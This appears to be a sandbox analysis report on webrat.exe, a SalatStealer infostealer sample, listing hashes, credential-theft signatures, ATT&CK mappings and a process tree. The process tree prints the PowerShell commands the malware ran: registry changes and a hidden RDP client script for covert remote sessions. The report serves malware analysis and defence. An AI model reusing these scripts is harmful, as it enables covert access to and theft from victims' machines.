Analysis
-
max time kernel
594s -
max time network
598s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
-
submitted
27/03/2025, 19:48
General
-
Target
webrat.exe
-
Size
3.1MB
-
MD5
1c3b8bd025d5b9663dd0e02d3405e0df
-
SHA1
92b07502328992e7fc21a11fac39f93cceffeb22
-
SHA256
18c5e65e4b9da90324c170b3f5f20a1dc8c818b38dcde6b146c3af1f423def3f
-
SHA512
a49523270de2a235aedbd1698d01a70f6d4967e06287e8b8630b1b11758bdb56507fc066d6d404e850e60c6fd9ef2cb075fa3d7085bc24ce9b946d306ff396cb
-
SSDEEP
49152:zRlpygxOgF2Kxw/EnMr+NQdiFyBEQhJHZRPsy4jFwlBJm+/D9cEmbvvF:VlpyWOXKxw8n8/gMBEQ3sTAtRObv
Malware Config
Signatures
-
Detect SalatStealer payload 64 IoCs
-
Salatstealer family
-
salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
-
Executes dropped EXE 14 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 8 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 23 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Modifies system certificate store 2 TTPs 3 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 11 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 48 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\webrat.exe"C:\Users\Admin\AppData\Local\Temp\webrat.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows NT\spoolsv.exe"C:\Program Files (x86)\Windows NT\spoolsv.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\spoolsv.exe"C:\Program Files\Google\Chrome\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe"C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\spoolsv.exe"C:\Program Files\Google\Chrome\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe"C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Google\Chrome\Application\spoolsv.exe"C:\Program Files\Google\Chrome\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe"C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe" -3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe " Set-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\" -Name \"shutdownwithoutlogon\" -Value 1 -Type DWord Set-ItemProperty -Path \"HKLM:\SYSTEM\CurrentControlSet\Control\Error Message Instrument\" -Name \"EnableDefaultReply\" -Value 1 -Type DWord Set-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\" -Name \"ShutdownWarningDialogTimeout\" -Value 1 -Type DWord "3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe " [void][system.reflection.Assembly]::LoadFrom('C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll') [void][system.reflection.Assembly]::LoadFrom('C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll') Add-Type -Assembly System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $rdp = New-Object AxMSTSCLib.AxMsRdpClient8NotSafeForScripting $form.Controls.Add($rdp) $form.Size = New-Object System.Drawing.Size(0,0) $form.ShowInTaskbar = $false $form.WindowState = 1; $form.FormBorderStyle = 0; function func { $rdp.AdvancedSettings2.DisplayConnectionBar = 'true' $rdp.AdvancedSettings7.EnableCredSspSupport = 'true' $rdp.DesktopHeight = 1080; $rdp.DesktopWidth = 1920; [object]$robj = $true [MSTSCLib.IMsRdpExtendedSettings] | ForEach-Object { $_.GetProperty(\"Property\").SetValue( $rdp.GetOcx(), $robj, @(\"ConnectToChildSession\") ) } $rdp.Connect() } $form.add_Shown({ func } ) $form.ShowDialog() "3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Windows NT\spoolsv.exe"C:\Program Files (x86)\Windows NT\spoolsv.exe" k3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\taskhostw.exe"C:\Program Files (x86)\Microsoft\taskhostw.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Windows NT\spoolsv.exe"C:\Program Files (x86)\Windows NT\spoolsv.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\taskhostw.exe"C:\Program Files (x86)\Microsoft\taskhostw.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Windows NT\spoolsv.exe"C:\Program Files (x86)\Windows NT\spoolsv.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\taskhostw.exe"C:\Program Files (x86)\Microsoft\taskhostw.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Windows NT\spoolsv.exe"C:\Program Files (x86)\Windows NT\spoolsv.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.1MB
MD51c3b8bd025d5b9663dd0e02d3405e0df
SHA192b07502328992e7fc21a11fac39f93cceffeb22
SHA25618c5e65e4b9da90324c170b3f5f20a1dc8c818b38dcde6b146c3af1f423def3f
SHA512a49523270de2a235aedbd1698d01a70f6d4967e06287e8b8630b1b11758bdb56507fc066d6d404e850e60c6fd9ef2cb075fa3d7085bc24ce9b946d306ff396cb
-
Filesize
1KB
MD5938ffc2cba917b243d86b2cf76dcefb4
SHA1234b53d91d075f16cc63c731eefdae278e2faad3
SHA2565c1eaf13b15f1d5d1ea7f6c3fcbeff0f8b0faf8b9a620ecd26edb49d667f56ca
SHA512e4ec928e5943a47739c862e3fd0c4bd9f1f21942e2416269f5057f5df49ce451d90acea39ee5319a0828ca1d944c2eda3eb8e7ab19984c7b8624a58f2111c314
-
Filesize
19KB
MD53a7c70fa8fd7bd92ebe3ac52e1dafeff
SHA1b466b1b62a72e7dace12ce6f0d8a42a5a121eebe
SHA256d69638cbf5e3e64542815501099ccb0f550ac34bf136b68493a6434409028720
SHA512183586212fa33f751610b475fe0a3bb4ff12148201ca235c1f385faae03a912529acd6c714a76262ff7b884fb77085ef163471facf2a15daae5f370f439f9c5f
-
Filesize
19KB
MD50ef85706104bc840e4be32c2703cddf2
SHA1c0196b1a93e81d522bd76b610d7015082ad3f950
SHA256068984aa322c7837704b0876eeeb3996c301f639c78dc093b8421d0f4494d755
SHA512e54c94e063f191617f951c195b312c07afd8e133faa61d7dc02b89f63c0ae0363ebda2dd62144bfa5b270c130e2a4cd72c1663d2627fdae087a2e40221b3d367
-
Filesize
19KB
MD5abed6b549b0948791175a9b0865abd29
SHA17d7cae29963e032fa12e873d09224501aff72074
SHA256cb1a49d842a4747ca496a560b3a7868a740abfe03c8a25b351f09385fa033af5
SHA5122526e2144ec110aca3796659f652bbc2d458b3f463691e27ab5a18e2f7cc9ef9b7059998b7e29cda12e6ed6b8ee7df577ac87d1582c11a7340033a7c784cdc16
-
Filesize
19KB
MD541aaf1a5e5dfd8c706c975897500f4a1
SHA1a46ce6ebeff052dd9e1e6ea5b0c3af6dffbd4cd1
SHA2564ddc211c9682c780d1ede86c8922cc3707b083d12ae07b6e29def37c1d80a4da
SHA512c0c321805ea0ae91b8bc892a7aedc7e2cf85f7cab2314f52154fefe40a948e5ae4842af2258e225986f7fba4b164e2627b1079b79125db380b593d562efe737a
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
472KB
-
Filesize
408KB
-
Filesize
216KB
-
Filesize
272KB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
6.2MB
-
Filesize
136KB
-
Filesize
3.3MB
-
Filesize
104KB
-
Filesize
6.5MB
-
Filesize
408KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
5.6MB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB